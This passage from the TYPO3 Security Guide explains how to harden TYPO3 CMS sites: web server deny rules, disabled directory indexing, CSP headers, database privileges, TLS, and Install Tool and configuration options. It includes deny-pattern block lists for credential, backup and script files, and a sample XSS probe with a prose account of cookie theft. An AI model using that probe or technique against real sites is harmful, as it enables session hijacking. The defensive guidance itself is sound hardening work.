  • https://example.org/typo3temp/var/log/
  • https://example.org/typo3temp/var/session/
  • https://example.org/typo3temp/var/tests/
  • https://example.org/typo3/sysext/core/composer.json
  • https://example.org/typo3/sysext/core/ext_tables.sql
  • https://example.org/typo3/sysext/core/Configuration/Services.yaml
  • https://example.org/typo3/sysext/extbase/ext_typoscript_setup.txt
  • https://example.org/typo3/sysext/extbase/ext_typoscript_setup.typoscript
  • https://example.org/typo3/sysext/felogin/Configuration/FlexForms/Login.xml
  • https://example.org/typo3/sysext/backend/Resources/Private/Language/locallang.xlf
  • https://example.org/typo3/sysext/backend/Tests/Unit/Utility/Fixtures/clear.gif
  • https://example.org/typo3/sysext/belog/Configuration/TypoScript/setup.txt
  • https://example.org/typo3/sysext/belog/Configuration/TypoScript/setup.typoscript

The list above is probably not complete. However, if general deny rules are in place links provided above should not be accessible anymore and result in a HTTP 403 error response.

Apache and Microsoft IIS web servers

To increase protection of TYPO3 instances, the Core Team however decided to install default web server configuration files under certain circumstances: If an Apache web server is detected by the web based installation procedure, a default .htaccess file is written to the document root, and if a Microsoft IIS web server is detected, a default web.config file is written to the document root. These files contain web server configurations to deny direct web access to a series of common file types and directories, for instance version control system directories like .git/, all private template directories like Resources/Private/ and common package files like composer.json.

This "black list" approach needs maintenance: The Core Team tries to keep the template files .htaccess and web.config updated. If running Apache or IIS, administrators should compare their specific version with the reference files found at EXT:install/Resources/Private/FolderStructureTemplateFiles/root-htaccess (GitHub) and EXT:install/Resources/Private/FolderStructureTemplateFiles/root-web-config (GitHub) and adapt or update local versions if needed.

NGINX web servers

Administrators running the popular web server NGINX need to take additional measures: NGINX does not support an approach like Apache or IIS to configure access by putting files into the web document directories - the TYPO3 install procedure can not install good default files and administrators must merge deny patterns into the web servers virtual host configuration. A typical example looks like this:

server {

    ...

    # Prevent clients from accessing hidden files (starting with a dot)
    # This is particularly important if you store .htpasswd files in the site hierarchy
    # Access to `/.well-known/` is allowed.
    # https://www.mnot.net/blog/2010/04/07/well-known
    # https://tools.ietf.org/html/rfc5785
    location ~* /\.(?!well-known\/) {
        deny all;
    }

    # Prevent clients from accessing to backup/config/source files
        location ~* (?:\.(?:bak|conf|dist|fla|in[ci]|log|psd|sh|sql|sw[op])|~)$ {
        deny all;
    }

    # TYPO3 - Block access to composer files
    location ~* composer\.(?:json|lock) {
        deny all;
    }

    # TYPO3 - Block access to flexform files
    location ~* flexform[^.]*\.xml {
        deny all;
    }

    # TYPO3 - Block access to language files
    location ~* locallang[^.]*\.xlf {
        deny all;
    }

    # TYPO3 - Block access to static typoscript files
    location ~* ext_conf_template\.txt|ext_typoscript_constants\.(?:txt|typoscript)|ext_typoscript_setup\.(?:txt|typoscript) {
        deny all;
    }

    # TYPO3 - Block access to miscellaneous protected files
    location ~* /.*\.(?:bak|co?nf|cfg|ya?ml|ts|typoscript|dist|fla|in[ci]|log|sh|sql)$ {
        deny all;
    }

    # TYPO3 - Block access to recycler and temporary directories
    location ~ _(?:recycler|temp)_/ {
        deny all;
    }

    # TYPO3 - Block access to configuration files stored in fileadmin
    location ~ fileadmin/(?:templates)/.*\.(?:txt|ts|typoscript)$ {
        deny all;
    }

    # TYPO3 - Block access to libraries, source and temporary compiled data
    location ~ ^(?:vendor|typo3_src|typo3temp/var) {
        deny all;
    }

    # TYPO3 - Block access to protected extension directories
    location ~ (?:typo3conf/ext|typo3/sysext|typo3/ext)/[^/]+/(?:Configuration|Resources/Private|Tests?|Documentation|docs?)/ {
        deny all;
    }

    ...

}
Copied!

The config example above has been taken from ddev.

Disable directory indexing

Depending on the operating system and distribution, Apache’s default configuration may have directory indexing enabled by default.

This allows search engines to index the file structure of your site and potentially reveal sensitive data. The screenshot below shows an example of the kind data that can be retrieved with a simple HTTP request.

Screenshot of an example directory index

In this example only the list of extensions are revealed, but more sensitive data can also be exposed.

It is strongly recommended that you disable directory indexes.

If your web server requires directory indexing in other places outside of your TYPO3 installation, you should consider deactivating the option globally and only enable indexing on a case-by-case basis.

Apache web server

By removing the Indexes from Options (or not setting it in the first place), Apache does not show the list of files and directories.

In TYPO3, the default .htaccess already contains the directive to disable directory indexing. Check if the following is in your .htaccess:

/var/www/myhost/public/.htaccess
# Make sure that directory listings are disabled.
<IfModule mod_autoindex.c>
   Options -Indexes
</IfModule>
Copied!

This example, does not set all Options, it just removes Indexes from the list of Options. Directory indexing is provided by the module autoindex. By setting the options this way, it will be disabled in any case, even if the module is currently not active but might be activated at a later time.

It is also possible, to configure the Options in the Apache configuration, for example:

/etc/apache2/sites-available/myhost.conf
<IfModule mod_autoindex.c>
   <Directory /var/www/myhost/public>
      # override all Options, do not activate Indexes for security reasons
      Options FollowSymLinks
   </Directory>
</IfModule>
Copied!

Please note that the Options directive can be used in several containers (for example <VirtualHost>, <Directory>, in the Apache configuration) or in the file .htaccess. Refer to the Options directive for more information.

Nginx

For Nginx, directory listing is handled by the ngx_http_index_module and directory listing is disabled by default.

You can explicitly disable directory listing by using the parameter autoindex.

/etc/nginx/sites-available/myhost.com
server {
   # ...

   location /var/www/myhost/public {
      autoindex off;
   }
}
Copied!

IIS

For IIS web servers, directory listing is also disabled by default.

It is possible to disable directory listing in the event it was enabled because of a regression or a configuration change.

For IIS7 and above, it is possible to disable directory listing from the Directory Browsing settings using the IIS manager console.

Alternatively, the following command can be used:

command line
appcmd set config /section:directoryBrowse /enabled:false
Copied!

File extension handling

Most web servers have a default configuration mapping file extensions like .html or .txt to corresponding mime-types like text/html or text/plain. The focus in this section is on handling multiple extensions like .html.txt - in general the last extension part (.txt in .html.txt) defines the mime-type:

  • file.html shall use mime-type text/html
  • file.html.txt shall use mime-type text/plain
  • file.html.wrong shall use mime-type text/plain (but especially not text/html)

Apache's mod_mime documentation explains their handling of files having multiple extensions. Directive TypesConfig and using a mime.types map probably leads to unexpected handling of extension .html.wrong as mime-type text/html:

AddType text/html     html htm
AddType image/svg+xml svg svgz
Copied!

Global settings like shown in the example above are matching .html and .html.wrong file extension and have to be limited with <FilesMatch>:

<FilesMatch ".+\.html?$">
    AddType text/html     .html .htm
</FilesMatch>
<FilesMatch ".+\.svgz?$">
    AddType image/svg+xml .svg .svgz
</FilesMatch>
Copied!

In case these settings cannot be applied to the global server configuration, but only to .htaccess it is recommended to remove the default behavior:

.htaccess
RemoveType .html .htm
RemoveType .svg .svgz
Copied!

The scenario is similar when it comes to evaluate PHP files - it is totally expected and fine for files like test.php (ending with .php) - but it is definitively unexpected for files like test.php.html (having .php somewhere in between).

The expected default configuration should look like the following (adjusted to the actual PHP script dispatching via CGI, FPM or any other type):

.htaccess
<FilesMatch ".+\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>
Copied!

Content security policy

Content security policy (CSP_) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross-site scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement to the distribution of malware.

According to TYPO3-PSA-2019-010 authenticated users - but not having administrator privileges - are allowed to upload files to their granted file mounts (e.g. fileadmin/ in most cases). This also includes the possibility to upload potential malicious code in HTML or SVG files (using JavaScript, injecting cross-site scripting vulnerabilities).

To mitigate these potential scenarios it is advised to either deny uploading files as described in TYPO3-PSA-2019-010 (which might be impractical for some sites) or add content security policy headers for these directories - basically all public available base directories of file storages (sys_file_storage).

The following example sends a corresponding CSP header for any file accessed via https://example.org/fileadmin/...:

# placed in fileadmin/.htaccess on Apache 2.x webserver
<IfModule mod_headers.c>
  Header set Content-Security-Policy "default-src 'self'; script-src 'none'; style-src 'none'; object-src 'none';"
</IfModule>
Copied!

For nginx webservers, the following configuration example can be used to send a CSP header for any file accessed via https://example.org/fileadmin/...:

map $request_uri $csp_header {
   ~^/fileadmin/ "default-src 'self'; script-src 'none'; style-src 'none'; object-src 'none';";
}

server {
     # Add strict CSP header depending on mapping (fileadmin only)
     add_header Content-Security-Policy $csp_header;
     # ... other add_header declarations can follow here
}
Copied!

The nginx example configuration uses a map, since top level add_header declarations will be overwritten if add_header is used in sublevels (e.g. location) declarations.

CSP rules can be verified with a CSP-Evaluator

Database access

The TYPO3 database contains all data of backend and frontend users and therefore special care must be taken not to grant unauthorized access.

Secure passwords and minimum access privileges with MySQL

If using MySQL, the privilege system authenticates a (database-)user who connects from the TYPO3 host (which is possibly on the same machine) and associates that user with privileges on a database. These privileges are for example: SELECT, INSERT, UPDATE, DELETE, etc.

When creating this user, follow the guidelines for secure passwords. The name of the user should definitely not be root, admin, typo3, etc. You should create a database specific user with limited privileges for accessing this database from TYPO3. Usually this user does not require access to any other databases and the database of your TYPO3 instance should usually only have one associated database user.

MySQL and other database systems provide privileges that apply at different levels of operation. It depends on your individual system and setup which privileges the database user needs (SELECT, INSERT, UPDATE and some more are essential of course) but privileges like LOCK TABLES, FILE, PROCESS, CREATE USER, RELOAD, SHUTDOWN, etc. are in the context of administrative privileges and not required in most cases.

See the documentation of your database system on how to set up database users and access privileges.

Database not within web document root with SQLite

If using SQLite as underlying database, a database is stored in a single file. In TYPO3, its default location is the var/sqlite path of the instance which is derived from environment variable TYPO3_PATH_APP. If that variable is not set which is often the case in not Composer based instances, the database file will end up in the web server accessible document root directory :file:`typo3conf/`! In such a setup it is important to configure Web servers to not deliver .sqlite files.

Disallow external access

The database server should only be reachable from the server that your TYPO3 installation is running on. Make sure to disable any access from outside of your server or network (settings in firewall rules) and/or do not bind the database server to a network interface.

If you are using MySQL, read the chapter Server Options in the manual and check for the "skip-networking" and "bind-address" options in particular.

Database administration tools

phpMyAdmin and similar tools intend to allow the administration of MySQL database servers over the Web. Under certain circumstances, it might be required to access the database "directly", during a project development phase for example. Tools like phpMyAdmin (also available as a TYPO3 extension by the way) cause extra effort for ongoing maintenance (regular updates of these tools are required to ensure a minimum level of security). If they are not avoidable by any chance, the standalone version with an additional web server's access authentication (e.g. Apache's .htaccess mechanism) should be used at least.

However, due to the fact that a properly configured TYPO3 system does not require direct access to the database for editors or TYPO3 integrators, those applications should not be used on a production site at all.

Encrypted Client/server Communication

Data Classification

It depends on the nature of the data but in general "sensitive" information could be: user logins, passwords, user details (such as names, addresses, contact details, etc.), email addresses and other data which are not public. Medical, financial data (e.g. credit card details, account numbers, access codes, etc.) and others, are confidential by their nature and must not be transmitted unencrypted at all.

In most cases, a data assessment should be undertaken to classify the data according to several traits relating to use, legal requirements, and value. The outcome of this assessment can be a categorization based on a data classification model, which then defines how to protect the data.

Public Public Restricted Organization Confidential Organization Secret
Type non-sensitive externally sensitive internally sensitive extremely sensitive
Disclosure impact none limited significant sever
Access restrictions none low (e.g. username/ password) high (e.g. public/private key + geolocation) very high
Data transport unencrypted unencrypted but protected encrypted highly encrypted
Storage requirements none unencrypted but protected encrypted highly encrypted

The secure and maybe encrypted storage of sensitive data should also be considered.

The most secure first paradigm in most cases is: do neither transmit nor store any sensitive data if not absolutely required.

Frontend

Transport Layer Security (TLS) is an industry standard and the current security technology for establishing an encrypted link between a browser (client) and a web server. This protocol provides encrypted, authenticated communications across the Internet and ensures that all data passed between client and server remains private and integral. It is based on a public/private key technology and uses certificates which typically contain the domain name and details about the website operator (e.g. company name, address, geographical location, etc.). Recent discussions are questioning the organizational concept behind SSL certificates and the "chain of trust", but the fact is that SSL is the de facto standard today and still is considered secure from a technical perspective.

Whenever sensitive data is transferred between a client (the visitor of the website) and the server (TYPO3 website), a TLS encrypted connection should be used. Most often his means the protocol https is used instead of http.

When using payment gateways to process payments for online shops for example, most financial institutions (e.g. credit card vendors) require appropriate security actions. Check the policies of the gateway operator and card issuers before you institute online payment solutions.

Backend

A risk of unencrypted client/server communication is that an attacker could eavesdrop the data transmission and "sniff" sensitive information such as access details. Unauthorized access to the TYPO3 backend, especially with an administrator user account, has a significant impact on the security of your website. It is clear that the use of TLS for the backend of TYPO3 improves the security.

TYPO3 supports a TLS encrypted backend and offers some specific configuration options for this purpose, see configuration option lockSSL.

Drop FTP

An encrypted communication between client and server for further services than the TYPO3 frontend and backend should be considered, too. For example, it is highly recommended to use encrypted services such as SSH (secure shell), SFTP (SSH file transfer protocol) or FTPS (FTP-Secure) instead of FTP, where data is transferred unencrypted.

Other Services

System administrators should keep in mind that every "untrusted" script (e.g. PHP, perl, python script) or executable file inside the web server's document root is a security risk. By a correct and secure configuration, the internal security mechanisms of TYPO3 ensure that the CMS does not allow editors and other unprivileged users to place such code through the system (see chapter Global TYPO3 configuration options).

However, it is often seen that other services like FTP, SFTP, SSH, WebDAV, etc. are enabled to allow users (for example editors) to place files such as images, documents, etc. on the server, typically in the fileadmin/ folder. It is out of question that this might be seen as a convenient way to upload files and file transfers via FTP are simpler and faster to do. The main problem with this is that to enable "other services" with write access to the document root directory, bypasses the security measures mentioned above. A malicious PHP script for example could manipulate or destroy other files – maybe TYPO3 Core files. Sometimes access details of editors are stolen, intercepted or accidentally fallen into the wrong hands.

The only recommendation from a security perspective is to abandon any service like FTP, SFTP, etc. which allows to upload files to the server by bypassing TYPO3.

The TYPO3 Security Team and other IT security experts advance the view that FTP is classified as insecure in general. They have experienced that many websites have been hacked by a compromised client and/or unencrypted FTP connections and as a consequence, it strongly is advised that FTP must not be used at all.

Further Actions

Hosting environment

A system administrator is usually responsible for the entirety of an IT infrastructure. This includes several services (e.g. web server, mail server, database server, SSH, DNS, etc.) on one or on several servers. If one component is compromised, it is likely that this opens holes to attack other services.

As a consequence, it is desired to secure all components of an IT infrastructure and keep them up-to-date and secure with only a little or no dependencies to other system. It is also wise to abandon services which are not necessarily required (e.g. an additional database server, DNS server, IMAP/POP3 server, etc.). In short words: keep your hosting environment as slim as possible for performance and security purposes.

Events in TYPO3 Log Files

Login attempts to the TYPO3 backend, which are unsuccessful, are logged using the TYPO3 logging API. It is possible to create a dedicated logfile for messages from TYPO3 authentication classes which can be handled by external tools, such as fail2ban.

Example logging configuration:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['LOG']['TYPO3']['CMS']['Core']['Authentication']['writerConfiguration'] = [
    \TYPO3\CMS\Core\Log\LogLevel::INFO => [
        \TYPO3\CMS\Core\Log\Writer\FileWriter::class => [
            'logFile' => \TYPO3\CMS\Core\Core\Environment::getVarPath() . '/log/typo3_auth.log',
        ]
    ]
];
Copied!

Defending Against Clickjacking

Clickjacking, also known as user interface (UI) redress attack or UI redressing, is an attack scenario where an attacker tricks a web user into clicking on a button or following a link different from what the user believes he/she is clicking on. This attack can be typically achieved by a combination of stylesheets and iframes, where multiple transparent or opaque layers manipulate the visual appearance of a HTML page.

To protect the backend of TYPO3 against this attack vector, a HTTP header X-Frame-Options is sent, which prevents embedding backend pages in an iframe on domains different than the one used to access the backend. The X-Frame-Options header has been officially standardized as RFC 7034.

System administrators should consider enabling this feature at the frontend of the TYPO3 website, too. A configuration of the Apache web server would typically look like the following:

.htaccess
<IfModule mod_headers.c>
  Header always append X-Frame-Options SAMEORIGIN
</IfModule>
Copied!

The option SAMEORIGIN means, that the page can only be displayed in a frame on the same origin as the page itself. Other options are DENY (page cannot be displayed in a frame, regardless of the site attempting to do so) and ALLOW-FROM [uri]` (page can only be displayed in a frame on the specified origin).

Please understand that detailed descriptions of further actions on a server-level and specific PHP security settings are out of scope of this document. The TYPO3 Security Guide focuses on security aspects of TYPO3.

Guidelines for extension development

Insecure extensions can compromise the integrity of your TYPO3 installations database and can potentially lead to sensitive information being exposed.

In this section, we cover some relevant security best practices that are implemented by Extbase.

Never trust user input

All input data your extension receives from the user can be potentially malicious. That applies to all data being transmitted via GET and POST requests. You can never trust where the data came from as your form could have been manipulated. Cookies should be classified as potentially malicious as well because they may have also been manipulated.

Always check if the format of the data corresponds with the format you expected. For example, for a field that contains an email address, you should check that a valid email address was entered and not any other text.

If the backend forms use the correct TCA types or parameters like eval. In Extbase the validating framework can be helpful.

Create your own database queries

Queries in the query language of Extbase are automatically escaped.

However manually created SQL queries are subject to be attacked by SQL injection.

All SQL queries should be made in a dedicated class called a repository. This applies to Extbase queries, Doctrine DBAL QueryBuilder queries and pure SQL queries.

Trusted properties (Extbase Only)

In Extbase there is transparent argument mapping applied: All properties that are to be sent are changed transparently on the object. Certainly, this implies a safety risk, that we will explain with an example: Assume we have a form to edit a user object. This object has the properties username, email, password and description. We want to provide the user with a form to change all properties except the username (because the username should not be changed in our system).

The form looks like this:

EXT:blog_example/Resources/Private/Templates/SomeTemplate.html
<f:form name="user" object="{user}" action="update">
   <f:form.textbox property="email" />
   <f:form.textbox property="password" />
   <f:form.textbox property="description" />
</f:form>
Copied!

If the form is sent, the argument mapping for the user object receives this array:

HTTP POST
[
   __identity => ...
   email =>  ...
   password => ...
   description => ...
],
Copied!

Because the __identity property and further properties are set, the argument mapper gets the object from the persistence layer, makes a copy and then applies the changed properties to the object. After this we call the update($user) method for the corresponding repository to make the changes persistent.

What happens if an attacker manipulates the form data and transfers an additional field username to the server? In this case the argument mapping would also change the $username property of the cloned object - although we did not want this property to be changed by the user itself.

To avoid this problem, Fluid creates a hidden form field __trustedProperties which contains information about what properties are to be trusted. Once a request reaches the server, the property mapper of Extbase compares the incoming fields with the property names, defined by the __trustedProperties argument.

As the content of said field could also be manipulated by the client, the field contains a serialized array of trusted properties and a hash of that array. On the server-side, the hash is also compared to ensure the data has not been tampered with on the client-side.

Only the form fields generated by Fluid with the appropriate ViewHelpers are transferred to the server. If an attacker tries to add a field on the client-side, this is detected by the property mapper, and an exception will be thrown.

In general, __trustedProperties should work completely transparently for you. You do not have to know how it works in detail. You have to know this background knowledge only if you want to change data via JavaScript or web services.

Prevent cross-site scripting

Fluid contains some integrated techniques to secure web applications by default. One of the more important features is automatic prevention against cross site scripting, a common attack against web applications. In this section, we give you a problem description and show how you can avoid cross-site scripting (XSS).

Assume you have programmed a forum. An malicious user will get access to the admin account. To do this, they posted the following message in the forum to try to embed JavaScript code:

A simple example for XSS
<script type="text/javascript">alert("XSS");</script>
Copied!

When the forum post gets displayed, if the forum's programmer has not made any additional security precautions, a JavaScript popup "XSS" will be displayed. The attacker now knows that any JavaScript he writes in a post is executed when displaying the post - the forum is vulnerable to cross-site scripting. Now the attacker can replace the code with a more complex JavaScript program that, for example, can read the cookies of the visitors of the forum and send them to a certain URL.

If an administrator retrieves this prepared forum post, their session ID (that is stored in a cookie) is transferred to the attacker. In a worst case scenario, the attacker gets administrator privileges (Cross-site request forgery (XSRF)).

How can we prevent this? We must encode all special characters with a call of htmlspecialchars(). With this, instead of <script>..</script> the safe result is delivered to the browser: &amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt;. So the content of the script tag is no longer executed as JavaScript but only displayed.

But there is a problem with this: If we forget or fail to encode input data just once, an XSS vulnerability will exist in the system.

In Fluid, the output of every object accessor that occurs in a template is automatically processed by htmlspecialchars(). But Fluid uses htmlspecialchars() only for templates with the extension .html. If you use other output formats, it is disabled, and you have to make sure to convert the special characters correctly.

Content that is output via the ViewHelper <f:format.raw> is not sanitized. See ViewHelper Reference, format.raw.

If you want to output user provided content containing HTML tags that should not be escaped use <f:format.html>.

See ViewHelper Reference, format.html.

Sanitation is also deactivated for object accessors that are used in arguments of a ViewHelper. A short example for this:

EXT:blog_example/Resources/Private/Templates/SomeTemplate.html
{variable1}
<f:format.crop append="{variable2}">a very long text</f:format.crop>
Copied!

The content of {variable1} is sent to htmlspecialchars(), the content of {variable2} is not changed. The ViewHelper must retrieve the unchanged data because we can not foresee what should be done with it. For this reason, ViewHelpers that output parameters directly have to handle special characters correctly.

Guidelines for TYPO3 integrators

Role definition

A TYPO3 integrator develops the template for a website, selects, imports, installs and configures extensions and sets up access rights and permissions for editors and other backend users. An integrator usually has "administrator" access to the TYPO3 system, should have a good knowledge of the general architecture of TYPO3 (frontend, backend, extensions, TypoScript, TSconfig, etc.) and should be able to configure a TYPO3 system properly and securely.

Integrators know how to use the Install Tool, the meaning of configurations in typo3conf/LocalConfiguration.php and the basic structure of files and directories used by TYPO3.

The installation of TYPO3 on a web server or the configuration of the server itself is not part of an integrator's duties but of a system administrator. An integrator does not develop extensions but should have basic programming skills and database knowledge.

The TYPO3 integrator knows how to configure a TYPO3 system, handed over from a system administrator after the installation. An integrator usually consults and trains editors (end-users of the system, e.g. a client) and works closely together with system administrators.

The role of a TYPO3 integrator often overlaps with a system administrator and often one person is in both roles.

General rules

All general rules for a system administrator also apply for a TYPO3 integrator. One of the most important rules is to change the username and password of the "admin" account immediately after a TYPO3 system was handed over from a system administrator to an integrator, if not already done. The same applies to the Install Tool password, see below.

In addition, the following general rules apply for a TYPO3 integrator:

  1. Ensure backend users only have the permissions they need to do their work, nothing more – and especially no administrator privileges, see explanations below.
  2. Ensure, the TYPO3 sites they are responsible for, always run a stable and secure TYPO3 Core version and always and only contain secure extensions (integrators update them immediately if a vulnerability has been discovered).
  3. Stay informed about TYPO3 Core updates. Integrators should know the changes when new TYPO3 major versions are released and should be aware of the impacts and risks of an update.
  4. Integrators check for extension updates regularly and/or they know how to configure a TYPO3 system to notify them about new extension versions.

Further topics

Please see the chapters below for further security related topics of interest for integrators:

Install tool

The Install Tool allows you to configure the TYPO3 system on a very low level, which means, not only the basic settings but also the most essential settings can be changed. You do not necessarily need a TYPO3 backend account to access the Install Tool, so it is clear that the Install Tool requires some special attention (and protection).

TYPO3 already comes with a two step mechanism out-of-the-box to protect the Install Tool against unauthorized access: the first measure is a file called ENABLE_INSTALL_TOOL which must exist if the Install Tool should be accessible. The second mechanism is a password protection, which is independent of all backend user passwords.

The Install Tool can be found as a stand alone application via https://example.org/typo3/install.php. It also integrates with the backend, but is only available for logged in users with administrator privileges.

The ENABLE_INSTALL_TOOL file can be created by putting an empty file into the config directory. You usually need write access to this directory on a server level (for example via SSH, SFTP, etc.) or you can create this file as a backend user with administrator privileges.

Screen to enable the Install Tool

Conversely, this also means, you should delete this file as soon as you do not need to access the Install Tool any more. It should also be mentioned that TYPO3 deletes the ENABLE_INSTALL_TOOL file automatically if you logout of the Install Tool or if the file is older than 60 minutes (expiry time). Both features can be deactivated if the content of this file is KEEP_FILE, which is understandably not recommended.

The password for accessing the Install Tool is stored using the configured password hash mechanism set for the backend in the global configuration file typo3conf/LocalConfiguration.php:

typo3conf/LocalConfiguration.php
<?php
return [
    'BE' => [
        'installToolPassword' => '$P$CnawBtpk.D22VwoB2RsN0jCocLuQFp.',
        // ...
    ],
];
Copied!

The Install Tool password is set during the installation process. This means, in the case that a system administrator hands over the TYPO3 instance to you, it should also provide you with the appropriate password.

The first thing you should do, after taking over a new TYPO3 system from a system administrator, is to change the password to a new and secure one. Log-in to the Install Tool and change it there.

Screen to change the Install Tool password

The role of system maintainer allows for selected backend users to access the Admin Tools components from within the backend without further security measures. The number of system maintainers should be as small as possible to mitigate the risks of corrupted accounts.

The role can be provided in the Settings Section of the Install Tool -> Manage System Maintainers. It is also possible to manually modify the list by adding or removing the be_users.uid of the user in LocalConfiguration.php:

typo3conf/LocalConfiguration.php
<?php
return [
    // ...
    'SYS' => [
        'systemMaintainers' => [1, 7, 36],
        // ...
    ],
];
Copied!

For additional security, the folders typo3/install and typo3/sysext/install can be deleted, or password protected on a server level (e.g. by a web server's user authentication mechanism). Please keep in mind that these measures have an impact on the usability of the system. If you are not the only person who uses the Install Tool, you should definitely discuss your intention with the team.

TYPO3 Core updates

In legacy installations the Install Tool allows integrators to update the TYPO3 Core with a click on a button. This feature can be found under "Important actions" and it checks/installs revision updates only (e.g. bug fixes and security updates).

Install Tool function to update the TYPO3 Core

It should be noted that this feature can be disabled by an environment variable:

TYPO3_DISABLE_CORE_UPDATER=1
Copied!

Encryption key

The encryptionKey can be found in the Install Tool (module Settings > Configure Installation-Wide Options). This string, usually a hexadecimal hash value of 96 characters, is used as the "salt" for various kinds of encryption, check sums and validations (e.g. for the cHash). Therefore, a change of this value invalidates temporary information, cache content, etc. and you should clear all caches after you changed this value in order to force the rebuild of this data with the new encryption key.

The encryption key should be a random hexadecimal key of length 96. You can for example create it with OpenSSL:

openssl rand -hex 48
Copied!

From within TYPO3 it is possible to generate it via API:

use  \TYPO3\CMS\Core\Crypto\Random;

$this->random->generateRandomHexString(96);
Copied!

Global TYPO3 configuration options

The following configuration options are accessible and changeable via the Install Tool (recommended way) or directly in the file typo3conf/LocalConfiguration.php. The list below is in alphabetical order - not in the order of importance (all are relevant but the usage depends on your specific site and requirements).

displayErrors

This configuration option controls whether PHP errors should be displayed or not (information disclosure). Possible values are: -1, 0, 1 (integer) with the following meaning:

-1
This overrides the PHP setting display_errors. If devIPmask matches the user's IP address the configured debugExceptionHandler is used for exceptions, if not, productionExceptionHandler will be used. This is the default setting.
0
This suppresses any PHP error messages, overrides the value of exceptionalErrors and sets it to 0 (no errors are turned into exceptions), the configured productionExceptionHandler is used as exception handler.
1
This shows PHP error messages with the registered error handler. The configured debugExceptionHandler is used as exception handler.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors']

devIPmask

The option devIPmask defines a comma-separated list of IP addresses which will allow development output to display (information disclosure). The debug() function will use this as a filter. Setting this to a blank value will deny all (recommended for a production site). Setting this to * will show debug messages to every client without any restriction (definitely not recommended). The default value is 127.0.0.1,::1 which means "localhost" only.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'] `

fileDenyPattern

The fileDenyPattern is a Perl-compatible regular expression that (if it matches a file name) will prevent TYPO3 from accessing or processing this file (deny uploading, renaming, etc). For security reasons, PHP files as well as Apache's .htaccess file should be included in this regular expression string. The default value is: \\.(php[3-8]?|phpsh|phtml|pht|phar|shtml|cgi)(\\..*)?$|\\.pl$|^\\.htaccess$, initially defined in constant \TYPO3\CMS\Core\Resource\Security\FileNameValidator::FILE_DENY_PATTERN_DEFAULT.

There are only a very few scenarios imaginable where it makes sense to allow access to those files. In most cases backend users such as editors must not have the option to upload/edit PHP files or other files which could harm the TYPO3 instance when misused. Even if you trust your backend users, keep in mind that a less restrictive fileDenyPattern would enable an attacker to compromise the system if it only gained access to the TYPO3 backend with a normal, unprivileged user account.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['BE']['fileDenyPattern']

IPmaskList

Some TYPO3 instances are maintained by a selected group of integrators and editors who only work from a specific IP range or (in an ideal world) from a specific IP address only. This could be, for example, an office network with a static public IP address. In this case, or in any case where the client's IP addresses are predictable, the IPmaskList configuration may be used to limit the access to the TYPO3 backend.

The string configured as IPmaskList is a comma-separated list of IP addresses which are allowed to access the backend. The use of wildcards is also possible to specify a network. The following example opens the backend for users with the IP address 123.45.67.89 and from the network 192.168.xxx.xxx:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['IPmaskList'] = 123.45.67.89,192.168.*.*
Copied!

The default value is an empty string.

lockIP / lockIPv6

If a frontend or backend user logs into TYPO3, the user's session can be locked to its IP address. The lockIP configuration for IPv4 and lockIPv6 for IPv6 control how many parts of the IP address have to match with the IP address used at authentication time.

Possible values for IPv4 are: 0, 1, 2, 3 or 4 (integer) with the following meaning:

0
Disable IP locking entirely.
1
Only the first part of the IPv4 address needs to match, e.g. 123.xxx.xxx.xxx.
2
Only the first and second part of the IPv4 address need to match, e.g. 123.45.xxx.xxx.
3
Only the first, second and third part of the IPv4 address need to match, e.g. 123.45.67.xxx.
4
The complete IPv4 address has to match (e.g. 123.45.67.89).

Possible values for IPv6 are: 0, 1, 2, 3, 4, 5, 6, 7, 8 (integer) with the following meaning:

0
Disable IP locking entirely.
1
Only the first block (16 bits) of the IPv6 address needs to match, e.g. 2001:
2
The first two blocks (32 bits) of the IPv6 address need to match, e.g. 2001:0db8.
3
The first three blocks (48 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3
4
The first four blocks (64 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3
5
The first five blocks (80 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3:1319
6
The first six blocks (96 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3:1319:8a2e
7
The first seven blocks (112 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3:1319:8a2e:0370
8
The full IPv6 address has to match, e.g. 2001:0db8:85a3:08d3:1319:8a2e:0370:7344

If your users experience that their sessions sometimes drop out, it might be because of a changing IP address (this may happen with dynamic proxy servers for example) and adjusting this setting could address this issue. The downside of using a lower value than the default is a decreased level of security.

Keep in mind that the lockIP and lockIPv6 configurations are available for frontend ( ['FE']['lockIP'] and ['FE']['lockIPv6']) and backend ( ['BE']['lockIP'] and ['BE']['lockIPv6']) sessions separately, so four PHP variables are available:

  • $GLOBALS['TYPO3_CONF_VARS']['FE']['lockIP']
  • $GLOBALS['TYPO3_CONF_VARS']['FE']['lockIPv6']
  • $GLOBALS['TYPO3_CONF_VARS']['BE']['lockIP']
  • $GLOBALS['TYPO3_CONF_VARS']['BE']['lockIPv6']

lockSSL

As described in encrypted client/server communication, the use of https:// scheme for the backend and frontend of TYPO3 drastically improves the security. The lockSSL configuration controls if the backend can only be operated from an SSL-encrypted connection (HTTPS). Possible values are: true, false (boolean) with the following meaning:

  • false: The backend is not forced to SSL locking at all (default value)
  • true: The backend requires a secure connection HTTPS.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSL']

trustedHostsPattern

TYPO3 uses the HTTP header Host: to generate absolute URLs in several places such as 404 handling, http(s) enforcement, password reset links and many more. Since the host header itself is provided by the client, it can be forged to any value, even in a name-based virtual hosts environment.

The trustedHostsPattern configuration option can contain either the value SERVER_NAME or a regular expression pattern that matches all host names that are considered trustworthy for the particular TYPO3 installation. SERVER_NAME is the default value and with this option value in effect, TYPO3 checks the currently submitted host header against the SERVER_NAME variable. Please see security bulletin TYPO3-CORE-SA-2014-001 for further details about specific setups.

